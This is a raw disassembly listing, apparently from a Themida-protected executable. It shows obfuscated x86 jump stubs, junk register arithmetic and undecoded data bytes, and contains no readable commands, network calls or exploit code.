dd 525358E5h, 0D3880FB2h, 5BD8005Ah, 0F2CE828h, 81240C8Bh dd 4C4h, 5B545300h, 4C381h, 0EB810000h, 4, 22B0E9h db 0 ; --------------------------------------------------------------------------- loc_54C075: ; CODE XREF: Themida_:005489D7j pop eax push ecx mov ecx, esp jmp loc_54FB20 ; --------------------------------------------------------------------------- dw 0C481h dd 2, 0B60FC330h, 87048DC0h, 53E28952h, 4BBh, 5BDA0100h dd 0F4685057h, 89000041h, 0C668240Ch, 595CA133h, 0E906E9C1h dd 0FFFFA953h ; --------------------------------------------------------------------------- loc_54C0B0: ; CODE XREF: Themida_:0054B960j sub esp, 4 mov [esp], esi pop eax pop esi push edi push 1 mov edi, [esp] add esp, 4 and eax, edi mov edi, [esp] push ecx push esp jmp loc_550BCB ; --------------------------------------------------------------------------- loc_54C0D6: ; CODE XREF: Themida_:00547C43j xor eax, 5CD87AF0h add ebx, eax jmp loc_556E8B ; --------------------------------------------------------------------------- dw 0E089h dd 405h, 4E88300h, 31240433h, 4332404h, 0F41DE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54C0FA: ; CODE XREF: Themida_:00548739j pop eax pop edx push ecx mov ecx, 2F911093h inc ecx neg ecx not ecx inc ecx sub ecx, 2F911090h add edi, ecx pop ecx xchg edi, [esp] jmp loc_54339F ; --------------------------------------------------------------------------- db 5Ch, 8Fh, 4 dd 24248B24h, 68243489h, 5E305564h, 2E6C15Eh, 2BF4BF57h dd 0FE3119CFh, 0FF8008E9h, 65ED81FFh, 0F76A8A01h, 1DE956D5h dd 100001Bh, 0BA525EF1h, 508D3745h, 190BEA81h, 0AAE93FE4h db 6Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_54C15B: ; CODE XREF: Themida_:0054BD39j mov eax, [esp] add esp, 4 pop edi jmp loc_54B828 ; --------------------------------------------------------------------------- dw 5966h dd 5291B252h, 0FF81A7E9h, 0E6BE56FFh, 810B8C2Eh, 2D1833EEh dd 0F6CDE911h, 0E681FFFFh, 44212433h, 67B9EE81h, 0C6811F79h dd 54565835h, 0FFFFAAE9h, 3AE95BFFh, 0BB000048h, 7F931106h dd 1E9DE21h db 67h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54C1AF: ; CODE XREF: Themida_:00551169j add edx, ecx pop ecx jmp loc_5488DD ; --------------------------------------------------------------------------- loc_54C1B7: ; CODE XREF: Themida_:00549920j add esp, 4 push edx push dword ptr [esp+4] jmp loc_555D2B ; --------------------------------------------------------------------------- dd 0E9240487h, 0FFFFCDA6h, 0F781D7F7h, 5FD11CBDh, 36CCE952h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54C1DA: ; CODE XREF: Themida_:0054D8BDj mov esi, [esp] add esp, 4 add edx, 4 xor edx, [esp] xor [esp], edx xor edx, [esp] jmp loc_54D250 ; --------------------------------------------------------------------------- loc_54C1F4: ; CODE XREF: Themida_:00551248j add ecx, 4 jmp loc_554DB6 ; --------------------------------------------------------------------------- loc_54C1FF: ; CODE XREF: Themida_:0054C45Fj add ebx, 309B2F96h jmp loc_5503FA ; --------------------------------------------------------------------------- dw 4481h dd 5A6F0424h, 2C8B4D13h, 4C48324h, 5EC5815Dh, 0E92A452Bh dd 0FFFF728Ah, 60E94DB5h, 81FFFFB8h, 0C06915E5h, 0C1D5F716h dd 0FEE908EDh, 68000020h, 345C05C0h, 0FACA815Ah, 0E918D325h dd 8430h ; --------------------------------------------------------------------------- loc_54C24C: ; CODE XREF: Themida_:0054E1C3j push ecx jmp loc_5538F6 ; --------------------------------------------------------------------------- loc_54C252: ; CODE XREF: Themida_:0054EA6Dj sub esi, 36672146h mov eax, [esp] add esp, 4 jmp loc_543E6E ; --------------------------------------------------------------------------- db 50h dd 0FFC28CE9h, 429B68FFh, 4890000h, 4857E924h, 24890000h dd 24048124h, 4, 0BCB685Bh, 10E90000h db 0A3h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54C28B: ; CODE XREF: Themida_:00544F6Aj pop eax xor eax, esi pop esi push edi mov edi, eax mov ebx, edi pop edi jmp loc_549075 ; --------------------------------------------------------------------------- word_54C29A dw 8B66h ; DATA XREF: Themida_:00543144o dd 0E9502404h, 4FBEh ; --------------------------------------------------------------------------- loc_54C2A4: ; CODE XREF: Themida_:00552F5Ej shl edi, 7 push esi jmp loc_555694 ; --------------------------------------------------------------------------- db 1, 0DEh, 5Bh aZ4Sj db '┤4$\Иj',7,0 db 0 ; --------------------------------------------------------------------------- loc_54C2B9: ; CODE XREF: Themida_:00556628j pop ebp push esi mov esi, 2 add ebx, esi pop esi xor ebx, [esp] xor [esp], ebx xor ebx, [esp] pop esp mov ax, [esp] push edi jmp loc_553DBC ; --------------------------------------------------------------------------- db 53h dd 0D7F6CF88h, 535BF988h, 0E0895050h, 405h, 4BE5600h, 29000000h dd 0C5E95EF0h, 88FFFFBEh, 20CAE9EAh, 82C0000h, 0F000112Ch dd 0E96AB252h, 765Eh ; --------------------------------------------------------------------------- loc_54C30C: ; CODE XREF: Themida_:00556E8Ej pop ebx add edi, 0EDD69CC0h mov ebp, edi pop edi xor eax, ebp mov ebp, [esp] add esp, 4 push ebx mov ebx, esp push eax mov eax, 674B706Bh and eax, 4EBD006Eh shl eax, 7 inc eax inc eax dec eax sub eax, 48034FDh jmp loc_5444D1 ; --------------------------------------------------------------------------- loc_54C33F: ; CODE XREF: Themida_:00547AC8j pop ecx jmp loc_552C67 ; --------------------------------------------------------------------------- db 5Bh, 5Eh, 33h dd 0C31240Ch, 0C0CEE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54C352: ; CODE XREF: Themida_:005459C2j push edi push dword ptr [esp+4] pop edi pop dword ptr [esp] pop esp and eax, esi push dword ptr [esp] push dword ptr [esp] pop esi jmp loc_5517C6 ; --------------------------------------------------------------------------- loc_54C36A: ; CODE XREF: Themida_:00554DECj add edi, 4 jmp loc_54768E ; --------------------------------------------------------------------------- aBRcijqhv0mYphR db '│еRCКjQhv0M:YPhжж~ЮXИ+╔',0 align 2 dw 3C33h dd 1A12E924h, 0E95C0000h, 0FFFF6EFFh ; --------------------------------------------------------------------------- loc_54C39C: ; CODE XREF: Themida_:00545A5Cj pop esp mov [esp], edx mov edx, 4695281Fh sub esi, edx pop edx jmp loc_5489CC ; --------------------------------------------------------------------------- loc_54C3AD: ; CODE XREF: Themida_:0054C9D4j mov edi, [esp] jmp loc_550AA0 ; --------------------------------------------------------------------------- loc_54C3B5: ; CODE XREF: Themida_:005433FEj push dword ptr [esp] pop ecx jmp loc_54B6F5 ; --------------------------------------------------------------------------- dw 248Bh dd 0C8856624h, 6ED1E99Ch, 0C181FFFFh, 1A863A05h, 0E981C101h dd 1A863A05h, 57B1E9h, 7C015A00h, 0E95F0424h, 0ADC2h ; --------------------------------------------------------------------------- loc_54C3E8: ; CODE XREF: Themida_:00543C9Cj mov [esp], edx push 4 mov edx, [esp] add esp, 4 push ebp mov ebp, 3F777D7Ah not ebp jmp loc_5558C3 ; --------------------------------------------------------------------------- a0US db '0ч[юН',7,'И``',0 dd 5C80100h, 12F83A9Dh, 14E86859h, 1C890000h, 6BBE5624h dd 464F4037h, 1020E9h, 240C8900h, 5A80E9h, 0DAE95100h dd 8100001Fh, 0FFFFFFC7h, 4EFC1FFh, 0FFCA84E9h, 59CA31FFh dd 5B47F281h, 34E9647Fh db 0A6h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54C457: ; CODE XREF: Themida_:005544E4j sub ebx, edi mov edi, [esp] add esp, 4 jmp loc_54C1FF ; --------------------------------------------------------------------------- loc_54C464: ; CODE XREF: Themida_:005456CBj mov edx, [esp] push esi mov esi, esp add esi, 4 add esi, 4 jmp loc_54E47C ; --------------------------------------------------------------------------- dd 0E9240C89h, 16D9h ; --------------------------------------------------------------------------- loc_54C480: ; CODE XREF: Themida_:0054C707j mov eax, 4 add ecx, eax pop eax jmp loc_544FBB ; --------------------------------------------------------------------------- db 29h, 0DEh, 81h dd 0A6C88EEh, 1D8FE923h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54C49A: ; CODE XREF: Themida_:0054B4ABj sub edx, esi pop esi neg edx sub edx, 61525B1h jmp loc_5553F9 ; --------------------------------------------------------------------------- dw 26BAh dd 0E9038823h, 4AD6h ; --------------------------------------------------------------------------- loc_54C4B4: ; CODE XREF: Themida_:0054542Cj pop ecx jmp loc_5524F4 ; --------------------------------------------------------------------------- dw 0C483h dd 4EC8104h, 89000000h, 0EC812434h, 4, 52243C89h, 2901E9h dd 24048100h, 0E7D0D03h, 8324148Bh, 515604C4h, 9D3BD8B9h dd 59CE8926h, 82A8E9h db 0 ; --------------------------------------------------------------------------- loc_54C4F1: ; CODE XREF: Themida_:0054B175j mov esi, 426372A8h shl esi, 1 not esi xor esi, ecx xor ecx, esi xor esi, ecx xchg ebx, ecx push ebx not dword ptr [esp] mov ebx, [esp] push eax mov eax, esp add eax, 4 add eax, 4 jmp loc_543F7A ; --------------------------------------------------------------------------- db 89h dd 0DCB5240Ch, 0B30CB252h, 0CDEB80A2h, 0C380D300h, 0EB285ACDh dd 81240C8Bh, 4C4h, 0EAC38000h, 0FF87A6E9h db 0FFh ; --------------------------------------------------------------------------- loc_54C541: ; CODE XREF: Themida_:00548377j mov ecx, 7146387Ah or ecx, 524E4676h push 45C2h mov [esp], ebx mov ebx, 143C6181h or ecx, ebx pop ebx push edx mov edx, 74EB76C8h sub edx, 0FFFFFFFFh xor edx, 3950936h xor ecx, edx pop edx add ecx, eax jmp loc_54D7E1 ; --------------------------------------------------------------------------- dd 6DF7B850h, 0FBF24DFh, 81E06897h, 7E4CB8EFh, 81C70111h dd 7E4CB8C7h, 0F7815811h, 5480502h, 2D0FEA81h, 0FA0132CAh dd 2D0FC281h, 685F32CAh, 6748h, 0FF241489h, 5A042474h dd 1D87E9h db 0 ; --------------------------------------------------------------------------- loc_54C5B9: ; CODE XREF: Themida_:00549CFFj not dword ptr [esp] pop ecx push ebp mov ebp, 2F5BF687h sub esp, 4 mov [esp], esi mov esi, 17DB14E0h or esi, 1A5848F7h shr esi, 6 shr esi, 7 push eax mov eax, 0D4E5CDDEh sub esi, 11A140Bh sub esi, eax add esi, 11A140Bh jmp loc_5568C0 ; --------------------------------------------------------------------------- loc_54C5F3: ; CODE XREF: Themida_:00545B0Dj add ebx, 4 xchg ebx, [esp] pop esp and eax, ebx jmp loc_545ACD ; --------------------------------------------------------------------------- db 0BBh, 8Ch, 62h dd 0DE0978E0h, 50241C8Bh, 405E089h, 83000000h, 6FE904C0h dd 5700006Bh, 1069BBFh, 20BE562Ah, 81541B0Ah, 0D471B7F6h dd 5EF7090Fh, 7791E9h, 59C83100h, 8358C101h, 0BA5201C1h dd 698F6C88h, 5E7FEA81h, 0A1E90FF8h, 5AFFFF80h, 83C5CF80h dd 896602ECh, 0FEB42404h, 1352E9h db 0 ; --------------------------------------------------------------------------- loc_54C661: ; CODE XREF: Themida_:005490C3j xor esi, 0E8873AA0h sub ebx, 5CF11DC2h sub ebx, 64775C0Ah sub ebx, esi add ebx, 64775C0Ah add ebx, 5CF11DC2h pop esi jmp loc_552195 ; --------------------------------------------------------------------------- db 83h dd 41E904C4h db 9Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_54C68F: ; CODE XREF: Themida_:00556E9Ej not ebx xor edx, ebx xor ebx, edx xor edx, ebx dec edx xor edx, 0FB86D7CFh jmp loc_556A2C ; --------------------------------------------------------------------------- db 57h dd 2E11E950h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54C6AA: ; CODE XREF: Themida_:0054522Ej pop edx add esp, 4 push ebx mov ebx, 4 and ecx, ebx push dword ptr [esp] mov ebx, [esp] jmp loc_554E37 ; --------------------------------------------------------------------------- loc_54C6C4: ; CODE XREF: Themida_:00545962j inc esi xor esi, 6806230Ch add edi, 74EF4D48h jmp loc_547EF8 ; --------------------------------------------------------------------------- loc_54C6D6: ; CODE XREF: Themida_:0054A2EFj mov [esp], ebx push dword ptr [esp] push dword ptr [esp] pop eax push 55E6h mov [esp], ebx push esp pop ebx jmp loc_555A50 ; --------------------------------------------------------------------------- loc_54C6EF: ; CODE XREF: Themida_:0054DE86j add esp, 4 add esp, 4 sub esp, 4 mov [esp], ecx push esp pop ecx add ecx, 4 push eax jmp loc_54C480 ; --------------------------------------------------------------------------- loc_54C70C: ; CODE XREF: Themida_:005502E8j xchg esi, [esp] pop esp jmp loc_54B1CF ; --------------------------------------------------------------------------- db 1, 0E8h, 2Dh dd 34800FCFh, 0AAE9535Dh, 51FFFFE2h, 0FFB6FBE9h db 0FFh ; --------------------------------------------------------------------------- loc_54C729: ; CODE XREF: Themida_:0054A548j pop edi push 5A62h jmp loc_554B84 ; --------------------------------------------------------------------------- loc_54C734: ; CODE XREF: Themida_:0054E16Aj sub eax, ebx sub eax, 10D528BFh pop ebx jmp loc_54B86E ; --------------------------------------------------------------------------- db 0BEh, 0C1h, 2 dd 0F00110E9h, 6F85055Eh, 148B43ECh, 0FD64E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54C756: ; CODE XREF: Themida_:005550D8j mov ecx, esp add ecx, 4 push ebx jmp loc_545403 ; --------------------------------------------------------------------------- loc_54C764: ; CODE XREF: Themida_:00555803j push cx mov cl, 2Bh jmp loc_54A2CF ; --------------------------------------------------------------------------- db 29h, 0F2h, 8Bh a4S4c db '4$И4C',0 dw 5300h dd 0D677EFBBh, 0CEB814Eh, 0E9551333h, 0ABF2h, 109868h dd 9CFFE900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- push ebp mov ebp, esp push 72E6h mov [esp], ecx push esi mov esi, 2E3C1467h shl esi, 5 not esi shr esi, 2 neg esi jmp loc_543969 ; --------------------------------------------------------------------------- dw 0CF01h dd 0FFC3B8E9h, 2EE80FFh, 0E9B7B050h, 0FFFF9908h, 0E95AF420h dd 0FFFF77DEh, 0C580EDD0h, 8EDC0FBh, 0C2E9DDF6h db 49h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54C7DB: ; CODE XREF: Themida_:00543AD4j neg cl sub cl, 10h add dl, cl pop ecx or dl, 0EDh sub dl, 8Ch mov al, dl pop edx jmp loc_547399 ; --------------------------------------------------------------------------- db 0B7h, 0F3h, 20h dd 805B66FAh, 0C28045C2h, 5AD00057h, 482C0504h, 4E94E9h db 0 byte_54C809 db 66h, 8Bh, 4 ; DATA XREF: Themida_:005431E0o dd 4EC8324h, 0E9243489h, 447Fh, 1462CCBEh, 4FE5E956h, 0C1810000h dd 0FFFFFFFFh, 26B6E981h, 0F1816E95h, 60593A19h, 0FFBDC4E9h dd 30E530FFh, 97B652ECh, 0E99EC680h, 0FFFFC9FEh, 7E6CC1BEh dd 0C1D6F712h, 0F68102E6h, 2F2559D7h, 4A68F681h, 0C6815681h dd 305DA0BDh, 4247401h, 7CFDE95Eh, 4ABFFFFFh, 814E1165h dd 0EC1378F7h, 8BFE892Ah, 0ABE9243Ch, 8800009Fh, 148B59CFh dd 4C48324h, 0C5E9D7F6h, 58FFFFA7h, 0E924048Fh, 21ACh ; --------------------------------------------------------------------------- loc_54C89C: ; CODE XREF: Themida_:00547AE6j add esp, 4 jmp loc_553AE3 ; --------------------------------------------------------------------------- aMfq_ db '╛fQ╣_',0 ; DATA XREF: Themida_:00543038o aSsns db 'ХИ╜s',0 align 10h loc_54C8B0: ; CODE XREF: Themida_:00550502j mov edx, esi pop esi or esi, edx jmp loc_55349C ; --------------------------------------------------------------------------- a_sL db '_И©╚',0 align 10h dd 0F028A604h, 5A66A62Ch, 0F4E9D828h db 0A9h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54C8CF: ; CODE XREF: Themida_:00549B55j mov ecx, 3F6534C5h add ecx, 0B7AD333h jmp loc_54EB3F ; --------------------------------------------------------------------------- db 89h dd 30B850E3h, 533D4919h, 0E51854BBh, 68C38141h, 4B1BB648h dd 60FFCB81h, 0EB811B3Eh, 1C425E6Eh, 292BE9h, 562BB900h dd 0CA093428h, 1EA8359h, 0F6E95056h db 89h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54C917: ; CODE XREF: Themida_:005569A5j pop esi push dword ptr [esp] pop ebx add esp, 4 inc ecx shr ecx, 6 jmp loc_549FD8 ; --------------------------------------------------------------------------- dd 6EE3B951h, 0C8015F0Bh, 2DE80159h, 5F0B6EE3h, 6E36BB53h dd 0D8010DFFh, 2434FF5Bh, 0E9242C8Bh, 649Bh, 1E4ABA52h dd 4DE97CA1h, 58FFFF8Ah, 206F181h, 0CE010891h, 4EC8159h dd 89000000h, 4BD242Ch, 29000000h, 34335DEEh, 0AF47E924h dd 15C0000h, 2434FFFAh, 4C4835Fh, 815AD301h, 0E30C72C3h dd 81C30166h, 0E30C72EBh, 7DEB8166h, 0E94CFF5Bh, 0FFFFC1EBh ; --------------------------------------------------------------------------- loc_54C9A0: ; CODE XREF: Themida_:00544262j xor eax, esi pop esi mov ebx, eax pop eax push dword ptr [esp] pop esi add esp, 4 and eax, ebx jmp loc_5541C7 ; --------------------------------------------------------------------------- loc_54C9B7: ; CODE XREF: Themida_:00557301j push 103F383Fh pop esi neg esi neg esi sub esi, 103F383Bh mov edi, esi mov esi, [esp] add esp, 4 add esi, edi jmp loc_54C3AD ; --------------------------------------------------------------------------- db 80h, 0C6h, 0D1h dd 805AF300h, 4EE985EBh, 8B00006Ah, 0C4832414h, 6EAC104h dd 20B8CA81h, 28E92F38h db 0D8h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54C9FB: ; CODE XREF: Themida_:00555CD0j push ebp jmp loc_5514FF ; --------------------------------------------------------------------------- db 80h, 0EEh, 0C8h dd 0FFCE80E9h, 7D282DFFh, 0C6299C28h, 0E9F78958h, 183Dh dd 3E9B850h, 27E90B43h, 89FFFF83h, 240C8BCBh, 0E904C483h dd 0AE08h ; --------------------------------------------------------------------------- loc_54CA30: ; CODE XREF: Themida_:0054D796j xor [esp+4], ebx pop ebx mov eax, [esp] add esp, 4 sub esp, 4 mov [esp], edx jmp loc_54D3A0 ; --------------------------------------------------------------------------- dw 48Bh aSa_ db '$ИМ_',0 align 2 dw 0E7C1h dd 6E7C102h, 86B8504Fh, 0E90E8E27h, 1514h dword_54CA60 dd 7A4405ADh, 64681E26h, 0E900001Bh, 0FFFFB7AFh, 59CB28h ; DATA XREF: Themida_:005431BCo dd 31C380C3h, 0E958C380h, 0FFFF6948h, 4C681h, 0EE810000h dd 4, 5C243487h, 0E9241489h, 0FFFF72B5h, 0BA525859h, 4 dd 148BD001h, 4C48324h, 42Dh, 74FF5000h, 8F580424h, 895C2404h dd 7FBA2414h, 0C11BD243h, 0D2F706E2h, 0C01EE957h, 18BAFFFFh dd 0E9201B15h, 0FFFFE583h ; --------------------------------------------------------------------------- loc_54CAD4: ; CODE XREF: Themida_:0055076Aj xchg ebp, [esp] pop esp mov [esp], ebx push dword ptr [esp+4] pop ebx pop dword ptr [esp] jmp loc_54780F ; --------------------------------------------------------------------------- dd 5C241C87h, 0FFBEC8E9h db 0FFh ; --------------------------------------------------------------------------- loc_54CAF1: ; CODE XREF: Themida_:0054677Dj add ebx, 7B8E7C57h add ebx, ecx sub ebx, 7B8E7C57h sub ebx, 1ED12D25h mov ecx, [esp] add esp, 4 xchg ebx, [esp] pop esp add esp, 4 push 12C1h jmp loc_547EAA ; --------------------------------------------------------------------------- loc_54CB1F: ; CODE XREF: Themida_:00549C83j pop ecx pop edi not edi xor ecx, edi xor edi, ecx xor ecx, edi not ecx push ebp mov ebp, 0EC00F6FCh push ebp jmp loc_54A16E ; --------------------------------------------------------------------------- aQsP_0 db 'QИ}▐',0 db 0 ; --------------------------------------------------------------------------- loc_54CB3D: ; CODE XREF: Themida_:00554C7Cj or edx, 7AF7559Dh neg edx or edx, 692C79B9h jmp loc_551A0F ; --------------------------------------------------------------------------- dd 4C381h, 0C3830000h, 241C8704h, 68A8E95Ch, 0ED81FFFFh dd 3F3E374Ch, 0B839C581h, 0E9681EA9h, 89000033h, 8FE92414h db 90h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54CB7B: ; CODE XREF: Themida_:0054BE96j pop esi xor eax, [esp] xor [esp], eax xor eax, [esp] jmp loc_551AB4 ; --------------------------------------------------------------------------- word_54CB8A dw 0F766h ; DATA XREF: Themida_:00543178o dd 0E99C241Ch, 0FFFF6707h, 6988C381h, 0C2313DF4h, 0FF66FAE9h dd 240489FFh, 0C388D088h, 0DCE95A58h, 59FFFF7Fh, 9C368h dd 6FD3E900h, 0BA520000h, 4, 5926C681h, 0D4E94761h, 83000047h dd 348904ECh, 118ABE24h, 0E94E04B7h, 42E6h ; --------------------------------------------------------------------------- loc_54CBDC: ; CODE XREF: Themida_:00550A74j jmp loc_54329B ; --------------------------------------------------------------------------- db 51h, 89h, 0E1h dd 78685052h, 587C0A7Fh, 105h, 808B0500h, 0EEE983F5h db 0BFh, 2 dup(0FFh) byte_54CBFB db 0FFh ; DATA XREF: Themida_:00543148o a4Xh7 db '4$Xh|7',0 align 4 dd 89240C89h, 25B850E1h, 52209C62h, 1FBDBD55h, 504D4BE0h dd 701DCDB8h, 0A0563515h, 0C5293E33h, 5DEA8958h, 15AD029h dd 895258C1h, 4C281E2h, 83000000h, 148704EAh, 2C895C24h dd 72EDE924h, 5366FFFFh, 4D044BB3h, 4EC81h, 1C890000h dd 2883B324h, 0EC835BD8h, 24148904h, 7D50E9h, 0E9D80100h dd 5F08h ; --------------------------------------------------------------------------- loc_54CC6C: ; CODE XREF: Themida_:0054E2F3j mov [esp], esi push 5967h mov [esp], edx push edi mov edi, 7911043Eh mov edx, edi pop edi sub esp, 4 jmp loc_5462CB ; --------------------------------------------------------------------------- db 0BBh dd 43C06DEAh, 0E95BDD29h, 8403h dword_54CC98 dd 24048B66h, 4EC8356h, 24048F54h, 4240481h, 8B000000h ; DATA XREF: Themida_:00543070o dd 0C4832434h, 4DBE6804h, 1C890000h, 0CE1BB24h, 0D3310321h dd 0D331DA31h, 0D387D2F7h, 9F3E9h, 1BE95F00h db 0A2h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54CCD3: ; CODE XREF: Themida_:005547EAj mov ecx, 41856097h mov edx, 0BE7A9F6Ah add edx, ecx pop ecx add esi, edx jmp loc_546E48 ; --------------------------------------------------------------------------- db 2Dh dd 0F6C4F6CCh, 8158C129h, 0DC5F09F1h, 8BC8014Bh, 8952240Ch dd 4C281E2h, 83000000h, 7AE904C2h, 8000004Ch, 0DC005DEBh dd 81241C8Bh, 4C4h, 84C7E900h db 2 dup(0) word_54CD1E dw 0E9ACh ; DATA XREF: Themida_:005430D0o dd 0FFFFB6CEh, 4EE81h, 34870000h, 3C895C24h, 5750E924h dd 0C4810000h, 4, 2694EE81h, 0E9553924h, 0FFFF7A4Ch, 348B5856h dd 0A337E924h, 525B0000h, 0C281E289h, 4, 4EC81h, 23E90000h db 88h, 2 dup(0) aNsd7 db '╜Иd7',0 ; DATA XREF: Themida_:00543244o db 0 byte_54CD6D db 66h, 8Bh, 0Ch ; DATA XREF: Themida_:0054312Co dd 8B545524h, 97E9242Ch, 81FFFF96h, 79088AEEh, 0DF24E966h dd 0F201FFFFh, 497D685Eh, 34890000h, 4BE24h, 0E9500000h dd 0FFFF97E7h, 0D1B638B5h, 11D6E9h, 5E08900h, 4, 8704E883h dd 895C2404h, 4BB241Ch, 0E9000000h, 22F6h, 0F6BDF181h dd 0CD213138h, 0B3AE959h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54CDCE: ; CODE XREF: Themida_:005435E8j mov [esp], ecx push esi push ecx mov ecx, 61CA3B36h mov esi, 7713892Dh sub esi, ecx pop ecx mov ecx, esi pop esi xor ecx, 4EED4829h jmp loc_5440CB ; --------------------------------------------------------------------------- dw 0C183h dd 732CE904h, 68580000h, 0E05h, 81243489h, 4ECh, 24248900h dd 4240481h, 5E000000h, 0FFB142E9h db 0FFh ; --------------------------------------------------------------------------- loc_54CE15: ; CODE XREF: Themida_:005550EBj mov ebx, 55EE5312h jmp loc_554F43 ; --------------------------------------------------------------------------- db 53h dd 0CA243481h, 5D6D7211h, 11CAF581h, 815B6D72h, 0DB1A08C5h dd 9988E913h, 5CE9FFFFh, 81FFFF64h, 254EADC1h, 8BC829CCh dd 0C481240Ch, 4, 0E904EC83h, 4592h ; --------------------------------------------------------------------------- loc_54CE58: ; CODE XREF: Themida_:005524B2j pop ebx jmp loc_54EC52 ; --------------------------------------------------------------------------- dw 0F758h dd 4AF781D7h, 9B1B988h, 0BE565FFBh, 6628552Bh, 65BACE81h dd 0D6E90E96h, 81000072h, 281B4BE7h, 0EFEF8130h, 5631A347h dd 6F71E3BEh, 5EF72110h, 4CE9DFF7h, 8900005Bh, 48B5FFEh dd 14E7E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54CEA2: ; CODE XREF: Themida_:0054671Dj mov ebx, 0ADC2EFB8h add ecx, ebx pop ebx push eax push edi push 38CE2CB1h pop edi inc edi add edi, 474B0505h jmp loc_5580EB ; --------------------------------------------------------------------------- loc_54CEBE: ; CODE XREF: Themida_:00557A35j mov [esp], esi mov esi, 16B24FB1h push 4ABAh jmp loc_557DA8 ; --------------------------------------------------------------------------- dd 0E92434FFh, 0FFFFBEF9h dword_54CED8 dd 50D831ADh, 4EC81h, 8F540000h, 0E9512404h, 0FFFFE053h ; DATA XREF: Themida_:005431C8o ; --------------------------------------------------------------------------- loc_54CEEC: ; CODE XREF: Themida_:00547689j pop eax push ecx jmp loc_557EAD ; --------------------------------------------------------------------------- db 5Dh dd 5114E581h, 0DDF77E5Bh, 0FF94C2E9h, 0FFC329FFh, 53582434h dd 0C381E389h, 4, 4C381h, 0EC830000h, 241C8904h, 42474FFh dd 24048F5Bh, 5624248Bh, 0FFD270E9h db 0FFh byte_54CF2D db 66h, 8Bh, 4 ; DATA XREF: Themida_:00543010o db '$hа%',0 align 2 dw 1C89h aHu db '$hЦ%',0 align 2 aSvu db 'ИVu',0 dw 8B00h dd 0C483240Ch, 24343304h, 33243431h, 95C2434h, 0E99C2404h dd 0FFFF633Fh ; --------------------------------------------------------------------------- loc_54CF5C: ; CODE XREF: Themida_:00543B34j pop ecx add ecx, 4 add ecx, 4 jmp loc_54FECF ; --------------------------------------------------------------------------- loc_54CF6E: ; CODE XREF: Themida_:00554255j push eax mov eax, 0C1D89D05h jmp loc_54DE8B ; --------------------------------------------------------------------------- loc_54CF79: ; CODE XREF: Themida_:005575EEj sub edi, 4 jmp loc_555D6A ; --------------------------------------------------------------------------- db 5Bh, 68h, 16h dd 0E9000036h, 0FFFFE42Eh off_54CF8C dd offset dword_569968 ; DATA XREF: Themida_:005431F0o dd 24148900h, 0FF6302E9h, 6B2D48FFh, 29885457h, 24048BC2h dd 0E904C483h, 0FFFFA8CFh, 4246C81h, 1F1015F3h, 18C9E9h db 0 byte_54CFB9 db 8Bh, 4, 24h ; DATA XREF: Themida_:00543028o aRts db 'RTИ╨',9,0 db 0 ; --------------------------------------------------------------------------- loc_54CFC3: ; CODE XREF: Themida_:0054C017j add edi, 12CB132Dh add edi, 4EA24A0Bh mov ecx, [esp] jmp loc_5564B8 ; --------------------------------------------------------------------------- db 5Ch dd 1A4B822Dh, 72A3687Fh, 3C890000h, 0B2DFE924h, 55CFFFFh dd 4, 31240433h, 4332404h, 34FF5C24h, 2434FF24h, 4C48158h dd 51000000h, 0BB53E189h, 4, 575BD901h, 8904EC83h, 21BE2434h dd 0BF0B6F6Eh, 6E14018Ch, 0FF6ECAE9h, 241C8BFFh, 0E9E78957h dd 0FFFF8C28h, 8B241433h, 84682424h, 0E900002Fh, 2B94h dd 34FFEF29h, 90E95D24h, 8900007Fh, 1D68243Ch, 89000053h dd 0BF572424h, 4, 4247C01h, 0C7815F5Fh, 4, 2613BE56h, 0C6814DDDh dd 0B222D9F1h, 575EF701h, 3E78E9h, 0C7315D00h, 0FFDEABE9h dd 0C0C1FEFFh, 0C18004E9h, 0FFC830B3h, 83592434h, 0A7E904C4h db 0FBh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54D09F: ; CODE XREF: Themida_:005548E9j mov [esp], esi mov esi, esp add esi, 4 add esi, 4 push esi push dword ptr [esp+4] mov esi, [esp] add esp, 4 pop dword ptr [esp] jmp loc_54D79B ; --------------------------------------------------------------------------- aSY_0 db ')ъИдy',0 dw 8900h dd 0B8502434h, 56191F6Ah, 44E9D0F7h, 5700009Bh, 0FFE250E9h dd 1C381FFh, 81000000h, 0F529CEF3h, 4EBC16Dh, 695468h dd 24148900h, 2B7FE953h, 5ABA0000h, 8126F544h, 0DC72C0C2h dd 0C281421Fh, 0F73F9AACh, 305AF281h, 0EAC1310Dh, 0B4C28103h dd 0C1337772h, 0E2D102E2h, 0F734EA81h, 0D101AAD7h, 8124148Bh dd 4C4h, 4C18100h, 33000000h, 0C31240Ch, 240C3324h, 8B24248Bh dd 0B682404h, 89000068h, 0BB68240Ch, 0E9000004h, 9FF3h ; --------------------------------------------------------------------------- loc_54D158: ; CODE XREF: Themida_:00557A86j not edx shl edx, 5 push edi push 43801A79h pop edi jmp loc_55382D ; --------------------------------------------------------------------------- loc_54D169: ; CODE XREF: Themida_:0054FEB9j add eax, 422A7250h add eax, 19FF785Fh mov ebx, [esp] push ecx mov ecx, esp push ebp mov ebp, 1703192Dh add ebp, 9F94EF9h push ebp jmp loc_557882 ; --------------------------------------------------------------------------- aYbq0veB0vesQ db 'Y│Ош0vE)ъ│гш0vEИ╬÷',0 db 0 ; --------------------------------------------------------------------------- loc_54D19F: ; CODE XREF: Themida_:00554699j push ebp mov ebp, 7E4233D4h xor ebp, 776708B9h shl ebp, 7 add ebp, 1F38AAFCh sub eax, ebp 